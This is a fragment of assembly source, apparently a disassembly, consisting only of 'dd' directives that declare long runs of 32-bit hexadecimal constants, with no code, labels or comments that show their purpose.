		dd 77F7403h, 6856F843h,	42170119h, 0F89BA8DAh, 7031A167h
		dd 1E187271h, 38EE5F78h, 6D7C3100h, 45D867CDh, 0B59C0F0h
		dd 7616FED9h, 8F01CB3Ch, 0ACDC236Fh, 0AE2108h, 0D2CDFED3h
		dd 9EE63C28h, 38F82D00h, 660DE50Fh, 3EAAE482h, 7F00FE4Bh
		dd 2C21C96Dh, 6761CC31h, 7ED10E18h, 0BF78F0h, 247F2BF3h
		dd 6B4373CFh, 20720C04h, 8E80B46Ch, 0F9B003h, 53ECA5C7h
		dd 30660EE3h, 0A3E32F8h, 745F06EDh, 818DE85h, 0B5FE45F6h
		dd 0B6ABAC00h, 0B1BEBFh, 0CC3B1A19h, 97D8C0B0h,	5A89F100h
		dd 0B7C295ADh, 619474F5h, 0E1772103h, 0C84460F0h, 3860B178h
		dd 0B3C71718h, 0A4982FDCh, 0A200415Ch, 0F9B52153h, 0CC1375E3h
		dd 1231BF80h, 6F25813Fh, 579D2750h, 995F5510h, 0FF100002h
		dd 74ACA070h, 38C0CE21h, 0CA43BF59h, 4080E942h,	0ABF89D90h
		dd 0EE012A3Fh, 0F38209B5h, 6180BBB8h, 6DF88CEDh, 107D59Eh
		dd 1ACB4E51h, 21B026h, 3D4F042Fh, 0FD2DA0E3h, 83C1A61Ch
		dd 39859A00h, 0F049746h, 0C0B547A3h, 18387086h,	0ABF6E900h
		dd 0EF71B984h, 0F3080387h, 0F0CCCE4Bh, 0C4647399h, 6A00F69Ch
		dd 8E6637Bh, 8ABB02h, 0ABB02381h, 9A26E7F3h, 0B87F5600h
		dd 47E225E1h, 0DED500E5h, 0A251BD57h, 0AD029AFCh, 0CB7A39BCh
		dd 0DB656123h, 0EA1A7FCh, 99494D5Ah, 4B3EEC00h,	0B5003A93h
		dd 0D03476AEh, 520EF8h,	7C3028DBh, 0AFC5CEBBh, 0B3234000h
		dd 4271E60Ch, 0FBA10F96h, 0F3E09E78h, 2A51465Dh, 789D273Eh
		dd 42E71B2Eh, 598E053Ah, 0CE809169h, 7D98A29Ah,	83180140h
		dd 7D76F34Eh, 7228881Eh, 9959045Ah, 0B5C480ADh,	80006606h
		dd 318B3D56h, 0E0D1A75h, 13D86130h, 208EF647h, 197F23D4h
		dd 56003DFEh, 21E76839h, 0E9CAA5h, 298F5CAAh, 19269009h
		dd 45FE5700h, 9E7B3585h, 87F50059h, 0D3BA24ABh,	3700E541h
		dd 882B69B8h, 1EC80D9h,	2E9A1DF1h, 0E4E90164h, 8C0392FAh
		dd 7482CC5Eh, 8F93C011h, 43D8007Bh, 1969E7C5h, 80009C9Bh
		dd 2FA8C654h, 1B3BD44h,	9981DA67h, 0F0D4196Dh, 0A1009F4Bh
		dd 2DECC9F4h, 0CF0C92h,	1D3C86C3h, 3F1423DAh, 2CD9A51Ch
		dd 9982980h, 0A05291E3h, 24CC45B8h, 7AA73DBh, 709D742Bh
		dd 0F5CFC113h, 6DA06E0Eh, 352C4066h, 9604D4h, 0AC6C8440h
		dd 4ABC5D33h, 0BB00EC73h, 6F436738h, 0F0C05B93h, 62190304h
		dd 5E239172h, 0BDEF6087h, 9006E30h, 25D595ACh, 3EED12Fh
		dd 0D6B22B1h, 21B2BC45h, 0B46DE2E0h, 7653D500h,	29376491h
		dd 57151DF7h, 94D2AAh, 5CC45B14h, 5F0063ECh, 84834C7Dh
		dd 0EF21B28h, 0AC9B4E69h, 6CFAB8C0h, 0F8071A41h, 0FB445E47h
		dd 0C47266F0h, 2C7FE0D8h, 1B0A6ADh, 48739171h, 3398DFFBh
		dd 7B7E525Ch, 976DC800h, 53E6CBF2h, 0C7E300E4h,	0C5F48C9Ah
		dd 3800CEACh, 425E8581h, 50438Dh, 56B6E16Ch, 365C777Ch
		dd 80893938h, 6D926AFDh, 0D3C94Ah, 0BB88D132h, 2E99339Ch
		dd 0AC964B00h, 0FB82B80Eh, 5C160751h, 0B06220C1h, 0B6BD28E7h
		dd 5B071DF0h, 88CFE872h, 6677A9C7h, 0CC64DA70h,	86BA0007h
		dd 0F46AE22h, 0D176D88Ch, 2A014371h, 2BA4E66Ah,	5830F649h
		dd 0F39B0063h, 1FB8D532h, 0A90F3F97h, 8E949F59h, 80A0CB44h
		dd 12D18880h, 47B600B1h, 40D35AA2h, 55004482h, 8D6D4AF0h
		dd 0FFD48h, 592C15C9h, 0AEB87306h, 0B203A878h, 0D1FC1A64h
		dd 0FFC8C042h, 5E79183Ah, 0F41BB8B3h, 4103BF00h, 60A5BBB4h
		dd 1580098h, 8072FA48h,	6003763h, 732E62EDh, 4CE2772Dh
		dd 87131F23h, 9E1F36h, 75462A17h, 5F06D626h, 88B40DCh
		dd 0EFAB001Ah, 0B73B43Bh, 670E12C4h, 60BA779Ah,	7B051CCFh
		dd 0ACB500F5h, 5EBCD787h, 0AF01A2B7h, 0B2856B63h, 1BD04FE5h
		dd 3A30FEAh, 0DA2F672Ah, 0AA212F60h, 23A53B4h, 0A2CF83D0h
		dd 0F856BA7Dh, 0F9A60B1h, 1B522726h, 0DEC40DE3h, 0E76781F8h
		dd 83139D00h, 17445B3Fh, 1BE20041h, 4B9526C9h, 0C500F02Dh
		dd 0DB19D692h, 72511FDAh, 6A8300F3h, 4177CFDh, 0DF1DEB60h
		dd 8CC0F230h, 7F6F682Fh, 8A0D06F1h, 0D17389EFh,	4BCBAE00h
		dd 0DBBF1DD2h, 34DA1C55h, 2BE305D5h, 0B1B840F2h, 0A4314F01h
		dd 0AA900B00h, 60702632h, 0BCCC00BBh, 52070A96h, 0D60063B8h
		dd 0BA1B83E8h, 1C65E97Dh, 8028D893h, 0DDB1FAB4h, 0FD00C18Ah
		dd 3F2CA1A5h, 0ED5D7Eh,	2F38F1B0h, 0BDE4B997h, 0AB498100h
		dd 0F35E06F4h, 0C3200D8h, 0E76BD44Fh, 0B10062A5h, 58FA61AEh
		dd 0F4FBC92Fh, 1FA8F85Ah, 272D06h, 0BC5B388Bh, 96003BD6h
		dd 5A6C61DEh, 0F02815h,	2B0B488Ah, 0D4499F27h, 6787900Eh
		dd 9E29A0D3h, 0CC6EF9h,	6992ABA0h, 0DA201DC2h, 4C7AE70Ah
		dd 4A07959Ch, 6750E966h, 0A0ADF7h, 733C1D70h, 54589619h
		dd 0D906AECh, 7EFE751Ch, 0BF15FCC0h, 1EEA5Ch, 3548B802h
		dd 49D6692Ch, 0B42C100h, 0FB5D85E9h, 19B0002Dh,	7D17643Ah
		dd 8C1D9D1Ch, 0F40024E7h, 0A6B75052h, 0BAA91CC9h, 0CB5900BFh
		dd 0A8DADC8Eh, 0CCD3EC00h, 0AF86F7CDh, 6676068Dh, 10FC8C0Ch
		dd 82EBB00h, 0B9B3133h,	0F80D0CA5h, 0BD269DD9h,	0E5516C00h
		dd 77DE6862h, 35ED00DBh, 0AA853FAh, 71012D74h, 914DDFDAh
		dd 0ADD0B8F4h, 6658017Ah, 0F50BD2CAh, 18A040E9h, 31794596h
		dd 95FE0500h, 0F257551Eh, 0E549006Eh, 0DCE8F419h, 8E0113C3h
		dd 4C6B2615h, 5820124Ah, 9870B9h, 2464C0B8h, 0DDFC3DC9h
		dd 0E957900h, 0ACA9DFB1h, 0BF570048h, 0B2F5BCD8h, 440092E4h
		dd 0EC5F1E73h, 2BE74Eh,	0C162DE8Ch, 0AC5111A9h,	3A0F41F0h
		dd 0E4462CC5h, 8DC5983Dh, 19B81680h, 0D0AE002Ah, 0E6EA9B6Ch
		dd 3100CC0Dh, 0B72F03B2h, 3E56E68h, 15F91D20h, 42C1C258h
		dd 0D121809Eh, 0C640F04Eh, 192B1C85h, 6F4D80FBh, 5E1409E6h
		dd 53343607h, 931086C8h, 148F7EA6h, 949A01A0h, 8B7D1D00h
		dd 5FE95CE2h, 35A7F600h, 0C28BF66h, 0D4E3A0B4h,	8BF2003Bh
		dd 0DBA5874Bh, 943ED81Ch, 472E0068h, 0BD78A410h, 0A3F330DEh
		dd 190C1C5Ch, 83385800h, 2B9DA2BBh, 6085E618h, 0AEE8708Bh
		dd 0F00C68A3h, 101C0543h, 0F1FB1673h, 9F4E06FEh, 190020A8h
		dd 24581844h, 6A2B84Bh,	0F7FF87DDh, 55F0B8AEh, 9932A00h
		dd 0E3A7923Ch, 56AB005Fh, 1C6F1F24h, 0E007A851h, 234C1759h
		dd 0DD9DE3h, 0A2FCE8F1h, 0D903F568h, 18C01678h,	7BF34142h
		dd 30D50314h, 6518E52Ch, 0FCD323F8h, 0F7CCDE00h, 0A924EF1Ah
		dd 51B100C8h, 61EB2B94h, 8B001BCBh, 0B35DDE26h,	1FDBD88Ah
		dd 0E6F902h, 0B80D67B0h, 2E00AD05h, 2DF48ED6h, 7D46563Ah
		dd 33EA008Dh, 3CB138A7h, 0EC00ACCAh, 0BE51B5C9h, 0D2BDB0h
		dd 0C17BA0B7h, 294116A6h, 0CDFC9170h, 56238C00h, 0AE8FF520h
		dd 0AB8A3F7Ah, 8D6A3E03h, 0E90CA00Ch, 0E008970Eh, 41630FFh
		dd 0D8B445D0h, 0F0147C05h, 0B800B047h, 9249830Eh, 7EF618FCh
		dd 0D5102906h, 88F4AC88h, 0DD895BFFh, 210C24C2h, 8B12E930h
		dd 890DFE10h, 405412C8h
		dd 0E55D65h, 0FAA7382Dh, 4A586264h, 4E129E00h, 1E45ECDEh
		dd 0EF9100FBh, 1D03E2C9h, 0BE904B0Fh, 91C3CE2Ch, 71965900h
		dd 2489540Bh, 0ABDB5Ah,	0F94DD558h, 8C4A6D7Dh, 98009DBCh
		dd 0EA22F4D3h, 410072A0h, 0E730BF7Eh, 0D695Ah, 55D70FC8h
		dd 39758D81h, 473138h, 2D7691E2h, 0E2821AE1h, 0F246077Bh
		dd 0A035CD65h, 0BA3CFF1Bh, 419FBD00h, 93391CF9h, 0B94505A9h
		dd 0C0462E89h, 86D7CE49h, 11DA9D06h, 188C5Ah, 27927437h
		dd 0C3FF1449h, 0BCBF8901h, 0D140769Eh, 146064C4h, 0E0865278h
		dd 732B7B00h, 0A0C80A11h, 2FF5ED00h, 41CD0494h,	31F41C80h
		dd 56B54087h, 0D717A75Bh, 9EE7D639h, 46402F0Ch,	0BA890F1Eh
		dd 668D0076h, 5F3CDD6Eh, 69507CD1h, 521CCEEEh, 488982B6h
		dd 0BFC40013h, 78074EAh, 7BA3384Eh, 1F4FF0F9h, 0C80B3BF6h
		dd 0D5BB3Eh, 0C9317C76h, 0E372007Fh, 5B54CB3Fh,	19502418h
		dd 5E0097BCh, 0B5344F07h, 0D6E395h, 90929AB3h, 0E41A0273h
		dd 0EE758707h, 281030B0h, 3F5FEAAh, 0D1851446h,	9EE8430Eh
		dd 2200497Bh, 0BF0B8B5Dh, 780AE132h, 0C2CA06ECh, 40F3C150h
		dd 0A6958D1Fh, 0EC7DB38Ah, 3E4C9000h, 77E4A03h,	0E2527258h
		dd 5E802063h, 0CEFC4FBEh, 0D46C5F00h, 16BD3498h, 0CB74017Ah
		dd 0F2AD5202h, 0FD36C033h, 723899FCh, 0ECD0803Ch, 0E4EE0EF1h
		dd 3716006Fh, 6409434Eh, 0EB3B9180h, 76D61F3Ah,	4003DD0Eh
		dd 4F627FF4h, 0E22603CFh, 719A78B9h, 1E6DF2B0h,	5F39B500h
		dd 0C276DB13h, 1D210005h, 7DB95E23h, 0BA00954Ch, 9ED8FAEAh
		dd 580FFFh, 0D4FBF76Eh,	8BF4E755h, 14EC6B01h, 91A8AF7Eh
		dd 365C30h, 0CCF6ED04h,	56202C88h, 25C9EB0h, 0F4071CB2h
		dd 23372F80h, 0DCA0F6h,	8C3F87B8h, 3B09124Bh, 28089900h
		dd 0AC32A2EBh, 70DE0069h, 0D14BB4ECh, 9018D93h,	0F9D4FAC3h
		dd 56F09B1Bh, 4D50003Fh, 7BDC37EDh, 360042BCh, 497A53E7h
		dd 373EAAAh, 0B4E41FE1h, 568B262Fh, 0C4BF9DA8h,	50DCB03Ah
		dd 2E1C16A0h, 0A4498DD1h, 0C1980741h, 8F2D2AC1h, 89528C47h
		dd 525C601Ah, 0C00C00CBh, 3EE4A7A9h, 0D011F33h,	0C928245Eh
		dd 7880BFF5h, 0A89C0195h, 0B30090C4h, 4F641DB2h, 0D8CCF86h
		dd 35C651EEh, 2E3BF896h, 45007C77h, 58A86CF9h, 1DB086h
		dd 0A666E216h, 799C070Fh, 4F30BA07h, 0F0000BA4h, 0AFC9D1h
		dd 6B87D334h, 27B8BEFBh, 0FE39A0C0h, 0FEE348CBh, 177C00E5h
		dd 0DAB2359Eh, 2300C2D5h, 579459FCh, 37ACF9h, 0C7B68DE4h
		dd 1CA3AFAh, 9BD6C200h,	0AC1BD4A6h, 472201A2h, 4F31E073h
		dd 0F936C860h, 6A84BA00h, 9B9EF3A9h, 73EC0CCBh,	0C1F85972h
		dd 80B89D38h, 2DCAF980h, 358481h, 0A913ECA6h, 0ABA8C05Ah
		dd 8BE25D00h, 1153E82Bh, 0E040920Ch, 0E52E3DB1h, 40DD1E00h
		dd 63A83DF9h, 0CD604401h, 25A467Dh, 6AB7E840h, 521800BCh
		dd 60F414A6h, 99793D5Bh, 965DC600h, 32297F9Fh, 90DF008Fh
		dd 36B2B6AFh, 3800CA05h, 7B276E98h, 0D9A644h, 9C5CFA9Ah
		dd 0E36701AFh, 0C5F83E00h, 4C026FE9h, 3C9E900Ah, 4500B691h
		dd 0FC63CBEEh, 6007140Eh, 3AC764E5h, 0B1B53760h, 1D57077Dh
		dd 40AF54DDh, 0D4BF742Ch, 0A4A50100h, 509E5EF7h, 42E90018h
		dd 58A80DEh, 967E1BC1h,	49465400h, 3C888636h, 6D3F0B98h
		dd 30919B7h, 0AA8B87FDh, 0BB603D07h, 39F8478Bh,	0E0895AC1h
		dd 0D800B7E8h, 9AB26E94h, 0E9D17000h, 5B82C115h, 85BA00AAh
		dd 398F9EAFh, 0FA0055E3h, 8B957496h, 60FDC7h, 3A0C51CCh
		dd 2861D2F0h, 7DDE2C00h, 0DB9A7459h, 246F0079h,	0A53E19C0h
		dd 89003723h, 76E55BC1h, 34E651AAh, 7B8253Ch, 0E0D222E6h
		dd 3489C4C9h, 3F7D5D1Dh, 4503B31Ch, 81C0219Eh, 0EC34D85Ch
		dd 0B54A006Eh, 3B4C8C14h, 0DD02ECF9h, 0D3E39EC6h, 74DAC191h
		dd 480CC7C4h, 5E0E8DB2h, 55E576A7h, 0CC0A80D3h,	0F3A3E164h
		dd 8BC67EF8h, 3BDC8702h, 0C0A2F034h, 0FFBA0Ch, 5153D4A0h
		dd 0B035C55Eh, 80B7AF3Dh, 0EDF9DB66h, 746BFAh, 0CDAD9313h
		dd 0E7BBD2CFh, 27626F1Fh, 0EBAF8300h, 1B5D5F1h,	0E261912Ah
		dd 0DC86313Bh, 25018F48h, 0ADC9E394h, 0A8F35FF9h, 1F3FEC7Eh
		dd 80F41F4Ch, 130D1B29h, 700D5C1h, 3034D74Dh, 1E655282h
		dd 0C7DC261Eh, 0F0F39DF2h, 69BCAF6Ah, 37A17D1Dh, 0F8836DC1h
		dd 0A8309FD0h, 5849245Eh, 70FC2874h, 8A2E00F2h,	33DE603Dh
		dd 1700EFABh, 0E2905DFFh, 6DD184h, 7ABDB4E7h, 13B16631h
		dd 803F84B8h, 0C10D2720h, 0A830B5ECh, 918507BBh, 87DF04CBh
		dd 373080DBh, 26581AD0h, 772E005Bh, 0DC386258h,	35E60932h
		dd 98815918h, 0E08B1D5Ah, 0D476E307h, 0FD012A73h, 7279DDAEh
		dd 80C0BAC5h, 0B5181354h, 64CC008Bh, 34DFAA71h,	0D20520E1h
		dd 46083507h, 0E002669h, 4A81391h, 56AF0949h, 40B48864h
		dd 0C7C2F100h, 10B93DF6h, 74204C3Ah, 28170600h,	92860831h
		dd 40AD5326h, 2F7F6101h, 48737C58h, 8BF7D007h, 8E4200A6h
		dd 4C17D870h, 0D01CDDE8h, 87C67907h, 1CBBC130h,	758B00D2h
		dd 3831A4CEh, 9000EAFAh, 6887736Eh, 80DFA1h, 9E0E08F2h
		dd 34E14004h, 98298102h, 0E00A75D2h, 121516ABh,	175D3Bh
		dd 8FC80C74h, 1E2CB989h, 2300F4A5h, 781B2DFDh, 96850093h
		dd 18529A03h, 0B0007631h, 7247353Dh, 7A9C66C6h,	0EE75B8h
		dd 69B23D5h, 0D9EDA26Dh, 98116F00h, 819CF045h, 0C0F10E02h
		dd 17A22EA5h, 0F8611980h, 0B80DCC60h, 0BAB50800h, 4762D40h
		dd 54D60050h, 0DD63B7A3h, 0C016CD5h, 7CF10315h,	79F8295Dh
		dd 0A48D4CF8h, 0C9DB3A03h, 0EBF804B6h, 7D009587h, 0E72EE175h
		dd 4B19CEh, 0DE3A3585h,	0B39C3DCDh, 0E8DFA700h,	55D54666h
		dd 0D275B2h, 0B0FAE66Fh, 5687958Bh, 0AF787E07h,	5011A48Fh
		dd 3080EC7Bh, 2412A6C9h, 81E795Ah, 0D18065FBh, 23B7639Ah
		dd 409428h, 0FF97F6Eh, 5618C4DBh, 35D006ADh, 0EC9A00A0h
		dd 34C35B7Bh, 0FE2CBAE1h, 0C20120D3h, 47F5786Ah, 18E84361h
		dd 42CD0024h, 0CBE68622h, 6700798Dh, 0B805DBF1h, 0FA759D9h
		dd 9AE040EAh, 371096E0h, 52004B85h, 0D2B9D634h,	231693h
		dd 8C59C061h, 0B336B18h, 0C3912F00h, 2C3B39E2h,	7FC90E30h
		dd 0EB0012EAh, 593A7B08h, 870F0890h, 0E019F4C3h, 65DB69D9h
		dd 3D17F40h, 0B4CC6DBBh, 0B780A431h, 7C13FC4Fh,	7F003B75h
		dd 0B73AD40h, 7D6B806h,	8B9DD7D1h, 0A8A7902Ch, 0F0FC827Bh
		dd 0C1DAFE00h, 92EE8F43h, 0CC200019h, 0EF36ECC2h, 0DF14CA21h
		dd 10A483CBh, 0EB8B8087h, 5B281400h, 83002BD3h,	0BB42199Eh
		dd 151C8A3h, 863C9ADCh,	60A60B57h, 0E1003250h, 183742E0h
		dd 78DB06CBh, 8F19C024h, 56A37B93h, 0B030F4B0h,	0F4D56B2h
		dd 7CDF035Eh, 5242DC53h, 90300CD8h, 0DDC6E000h,	0AABAFAE9h
		dd 0F54E0141h, 8728AD34h, 9A78FC2Dh, 5A915D02h,	60856611h
		dd 199F1FCh, 0F8829565h, 0E4CB44BAh, 0B50087E9h, 0EA44E7Fh
		dd 0F75BD9h, 6E382395h,	9B457B4Dh, 150042E6h, 0B1590E0Bh
		dd 0F2C30F78h, 50BF03CEh, 21EADD8Ch, 0DE852888h, 0C29B1E05h
		dd 7CC0EBEDh, 43BADCD4h, 81E00F2h, 1D5378ADh, 394500CBh
		dd 497DF24Ah, 0C7F23828h, 0C3071F78h, 9DBF5481h, 0B13A12D1h
		dd 7B08B030h, 1B910083h, 0A6EF6906h, 5C044D93h,	0FF1211A7h
		dd 0DB783480h, 0D02F00B1h, 0AC72567Fh, 45034F62h, 0DE9A352Ch
		dd 0E3101FADh, 4109001Dh
		dd 8C608B46h, 0F69BDF05h, 0F3C00AABh, 7140A1ADh, 8EC50245h
		dd 16E89A18h, 5880CAE2h, 5E99861Bh, 0A7FE3624h,	33F12003h
		dd 0EFA0054Ch, 0D0EBCC90h, 8B11D7D8h, 4BE4C948h, 5566400h
		dd 52952Ch, 0A44F5A1h, 43DC71Fh, 0AE32E503h, 0BE82D1B7h
		dd 19BA00F0h, 772DD5FAh, 2B000F9Eh, 67B03A6Ch, 0E551717Ch
		dd 63F2C835h, 0A07780E0h, 65CB0095h, 2E5943DEh,	5D0B1246h
		dd 8E05B3A7h, 0FA6EC0C8h, 0F4CBD45Ah, 39AC1E87h, 0CCD1C0B8h
		dd 0D4AA071h, 75051B7Ah, 0C4672EB0h, 984FF2C0h,	946B008Ch
		dd 0CA235E24h, 9F4809FCh, 0A3A81388h, 0D5C4A420h, 91779F6h
		dd 0B0D3459Eh, 0F80860C1h, 0AE0273F4h, 0B9C93E91h, 54D47814h
		dd 0D7E8CDAh, 0D856BD05h, 84EB40F8h, 0DC006C71h, 8FAEA6F9h
		dd 0F28A60F5h, 1817B94h, 56C6AA50h, 2CD20DD0h, 8BDB0058h
		dd 34EBFE58h, 1CCD00B0h, 64B52A2Fh, 0FF029EC0h,	0D5DF6289h
		dd 3458D3h, 0B3F2EBA7h,	0F7024353h, 18A42830h, 1420345h
		dd 1626D661h, 60DAA922h, 3200FDEEh, 8D4B347Eh, 1F1C717h
		dd 0CFEBDC0Eh, 0E907D2FCh, 904EFCD6h, 0DFAD0A1Eh, 0B3317440h
		dd 3FAAFCC3h, 3A802421h, 0D79B2C22h, 74006883h,	632712DCh
		dd 16A780BCh, 0F027Fh, 0C3F99EFCh, 6C00EB4Ch, 6ED5C77h
		dd 1C8D5Fh, 1D1A4D03h, 3E09D7E5h, 290C0D01h, 1F722573h
		dd 3F748CD8h, 0B5933103h, 509C0014h, 1D2FB323h,	8200D8B0h
		dd 41A306B1h, 3AE57DFh,	0C76DFA26h, 0A5C0FC49h,	48009A0Dh
		dd 9F13BD35h, 829CD9h, 0AB327B65h, 6011F4BEh, 0A4AA362Ch
		dd 0DC96BC1Dh, 15F3EC40h, 3B91CB3Ch, 0F048A2h, 98BC9E46h
		dd 0EC451D66h, 59C17504h, 20E399CBh, 0C310C4F2h, 0AA124CFDh
		dd 7159D000h, 0AE633F9Bh, 0FC000D7Ch, 0AB52292h, 0D0338Eh
		dd 9383DC64h, 36E27EC4h, 0C00470B2h, 0B5258D29h, 3772BCD0h
		dd 0C9961852h, 0FB071039h, 0F34448h, 4AF9F682h,	1C6B4764h
		dd 0C08BB311h, 0D00FCE35h, 5E076F9Bh, 366267F9h, 56B4A0E0h
		dd 0FE460030h, 13220348h, 2800CF93h, 671D08AAh,	986D3D8Bh
		dd 1A6B0045h, 0E19FD97Dh, 13002098h, 0F6D6FF18h, 160DEB5Fh
		dd 81E54Ch, 6B739406h, 4A0083B3h, 9ABB7061h, 0E18580h
		dd 0BA6C18E5h, 1CAC7559h, 6802A298h, 0BE6939ECh, 0DEB04860h
		dd 2ED800CAh, 78537F75h, 0A00AD51h, 0B65FDABBh,	1C966C2Ch
		dd 0C00EDB67h, 78ECAF03h, 0B2E02033h, 0A00BE605h, 0B4D09798h
		dd 1FB6990h, 0D148ECC5h, 0E86F053Bh, 0C40054F9h, 2D0D7B33h
		dd 0ED3587h, 4C4266E1h,	23F13AABh, 0C307CF04h, 0ECCCF3FBh
		dd 0A34500B8h, 0C29EB2D1h, 8B010CF5h, 0D527CDA6h, 8F6112CEh
		dd 0F9C9688Eh, 8174C760h, 9975707Ah, 0D9E0581Ch, 0DC8CDE00h
		dd 7502888h, 1475ADA8h,	0FC3462D7h, 3B9C3A40h, 53A36100h
		dd 3E292D7Bh, 16B10702h, 804F7C24h, 1C67ACF2h, 838CC402h
		dd 50BACC78h, 0CD7664h,	0AC99E88Ah, 0A2BD6A52h,	5A0FAD00h
		dd 0BB42D63h, 656901E0h, 5F76B896h, 0CC07905h, 0EE5839E7h
		dd 0D7E8000Bh, 0B3C9251Eh, 0A30EC83Ah, 0E0B25E95h, 0D48C9768h
		dd 50A05C87h, 2FD15904h, 31BDC02Eh, 17059B03h, 695EE307h
		dd 0D1339780h, 0D5D009Ch, 0ABDCD36Dh, 6300057Bh, 5421625Fh
		dd 55E91Dh, 49DA899h, 88F46801h, 9F2E5C00h, 3DE12A87h
		dd 3A2B0536h, 0D018431Fh, 9C4298A8h, 30510430h,	18FB73ABh
		dd 21190C10h, 3C03092Ah, 65C25EB7h, 605CC084h, 80317C05h
		dd 3D18A267h, 83289923h, 0D433005Eh, 0E81D642Bh, 2C0B3086h
		dd 0C540A038h, 0C01AFDCh, 617CAD6Dh, 200C00CDh,	3CEA16D6h
		dd 8233B800h, 9538D448h, 635700A7h, 0C6CD32DFh,	5400C17Eh
		dd 0E72CC046h, 0A09FCBh, 0BC4815D6h, 0BFADED7Fh, 662BAA0Fh
		dd 6FDD80CDh, 19F057CFh, 0E1160E61h, 64FECCC9h,	0A1794B00h
		dd 0B3692165h, 2E430059h, 91E4421Ah, 143A8790h,	0C8A1E1A7h
		dd 0A0D29629h, 4518BA80h, 750C001h, 31C9BF66h, 0A460437Ah
		dd 0D6869331h, 0E3410397h, 0C8B9E22Ch, 5BF490C0h, 95D36500h
		dd 115D935Fh, 0B0BF0F8Eh, 6098F298h, 8100064Ah,	0FC1C349h
		dd 7DDF64F1h, 307860E1h, 807657D6h, 0D916D100h,	25063166h
		dd 5A9F688h, 812710E5h,	8D88F47Fh, 0EBB2380Eh, 61F7EC84h
		dd 0DDA600DFh, 46E468C2h, 47005161h, 0DCAFF27Eh, 58B5D8h
		dd 69C4399h, 19F118C4h,	869D091Ch, 2C12D46Ah, 0D0A0FB97h
		dd 0F1A26045h, 0AF909651h, 33A18B00h, 155C824Ah, 1D89C189h
		dd 500D0BF7h, 73D55DC0h, 5E7A7100h, 426CA8C9h, 7FF9000Ah
		dd 2B305814h, 5B005D9Dh, 58D68D1h, 16610CB8h, 0EA32BF11h
		dd 3DBBCE00h, 1E0F5966h, 8786D6A2h, 8EBE1FE5h, 44BDC380h
		dd 0EB60F961h, 84B11108h, 0AB58B7FEh, 3873261Eh, 7CA7167Fh
		dd 7EC94700h, 1C122830h, 7CFCDEBFh, 4B16B200h, 0B713583Fh
		dd 5103EC00h, 0FAD460CBh, 0F4540009h, 0E670CE19h, 4007C09Dh
		dd 2183EEDEh, 0C6601C21h, 0C9CAF4h, 7D8CAB7Fh, 1572B3DDh
		dd 9A0FEC03h, 717B8DBh,	0A4E175D1h, 0E08850B6h,	4B0E2C44h
		dd 20DCCFB7h, 4EAD20EDh, 23A4019Fh, 0E631B29Eh,	0AC93300Ch
		dd 4C2F3701h, 0BF3C44D5h, 15D2E880h, 0DBBF234h,	0ADF64Ch
		dd 33125B28h, 239DE4h, 65C387D5h, 613DD6FCh, 8CD24100h
		dd 93A01164h, 0FD290030h, 6368B240h, 3501AA78h,	0AABD609h
		dd 5DC0727Bh, 1E5A0338h, 66550E80h, 21CA468Fh, 60031571h
		dd 125A5CEEh, 0E0D9A3EFh, 0BB1849h, 0A3AD26F3h,	3C970EE1h
		dd 933B61Fh, 0D22EA200h, 0C7A48ABh, 7B208242h, 32006A10h
		dd 4E0F0EA0h, 6385A568h, 7A620871h, 4CCA2000h, 3743DA9Dh
		dd 2AA70078h, 6AA57961h, 1E00D6B5h, 6474E3DBh, 7994817Ch
		dd 7069663Ch, 927D610Ah, 250008DEh, 53D0E9B9h, 88210072h
		dd 5BEAF8F3h, 0CA18D284h, 23C05D12h, 75CC0D8Ch,	91487729h
		dd 9B8047B0h, 0E60F0BA0h, 5D226943h, 0A035C71Ch, 1670575Eh
		dd 1B5F706Fh, 60430D71h, 55847B90h, 0D6B48703h,	0DB9E04F1h
		dd 4BB100A6h, 1EADCF19h, 0C90EEE48h, 8690DF26h,	1200957h
		dd 75CE5062h, 800ACB16h, 0D42BB7D9h, 0E73257h, 8776D846h
		dd 55313E54h, 283B601h,	7A2ED150h, 219D0A6h, 0C47FAA79h
		dd 31C3BCC0h, 0C879EB71h, 26326D1Ch, 0F89E8680h, 788C2Eh
		dd 7046F5D4h, 90A97CCEh, 99B40300h, 0C6BE4CD5h,	7A3E0086h
		dd 951F244Dh, 0B31730B2h, 3307A7E5h, 3CF0656Fh,	0F22BD13h
		dd 0BE81D858h, 508701E6h, 1EBA9507h, 80C0D9CBh,	0E2AF60C1h
		dd 4DAB3A91h, 0EB195582h, 0E9C01F06h, 0FA01B07Fh, 0C1D29B1Bh
		dd 7DE0BB48h, 0CE87001Eh, 253D4215h, 0A400716Bh, 26CD7658h
		dd 0DCA978h, 48F1F0B4h,	0E2FB43ACh, 0F7108501h,	0BB4CEC09h
		dd 1343BC4h, 0E307179h,	0F0DE4E3Fh, 0FD004940h,	85F9699Ah
		dd 1E7CCFh, 8D472943h, 7A72011Dh, 0C99AD307h, 8830B4E0h
		dd 14926C93h, 9490A550h, 16841E0Fh, 0EF80A01Ah,	0B28A2A26h
		dd 113E6403h, 63D0297h,	90BB51E0h, 0D407287Ah, 0CBDAC97Eh
		dd 0A6E60360h, 0E94900FCh, 559B41C3h, 26036092h, 98D1B61Fh
		dd 653B8DCh, 1D22E6C5h,	0CF73BA30h, 0D46039EFh,	483752A4h
		dd 0DECAD901h, 8C8B7B11h, 9CC0FDD7h, 346B1A7h, 0CF3E37BEh
		dd 8389DD3h, 0D738806Eh, 74B04F13h, 3E9000Ah, 46DD7131h
		dd 7900F686h, 28D3C95Fh, 66B2ED6h, 57876CB4h, 2DA058DFh
		dd 326B90Bh, 0F9043DC6h
		dd 9BC01E29h, 45D9DFh, 43F3A4CCh, 0A88DA4Fh, 16636974h
		dd 0A8FC5E21h, 4DADC4h,	0F7296057h, 7A9F060Dh, 1C8F8B00h
		dd 3810F33Eh, 0A9136076h, 7FF02137h, 9973A100h,	428915Eh
		dd 0DD8E95Bh, 65F730Eh,	9B3E429Fh, 395B691Ch, 302F4FE0h
		dd 0C8185008h, 732716Dh, 0E0B721CDh, 65A560Ah, 5120FA86h
		dd 0BD670816h, 1DC01121h, 51E03829h, 900160F3h,	6D00F496h
		dd 0B650A87Dh, 493D2684h, 505C3E9Eh, 0CB90FDC4h, 91102F60h
		dd 1DD0F951h, 202461h, 2CC6976Ch, 9800388Ah, 0ABA62A3Bh
		dd 72BDF2h, 1CE864E4h, 0A0F1BFA9h, 5C35EF00h, 0B450D3F7h
		dd 45D700F3h, 0D62A3F24h, 72001C44h, 51D5BD76h,	0BA26B8h
		dd 30AB8422h, 0CEF16B6Dh, 0C8001173h, 0D61ED38Ah, 3E3862h
		dd 58C68C78h, 0B36F3989h, 12F7B200h, 0CAFD0D7Ah, 817400E2h
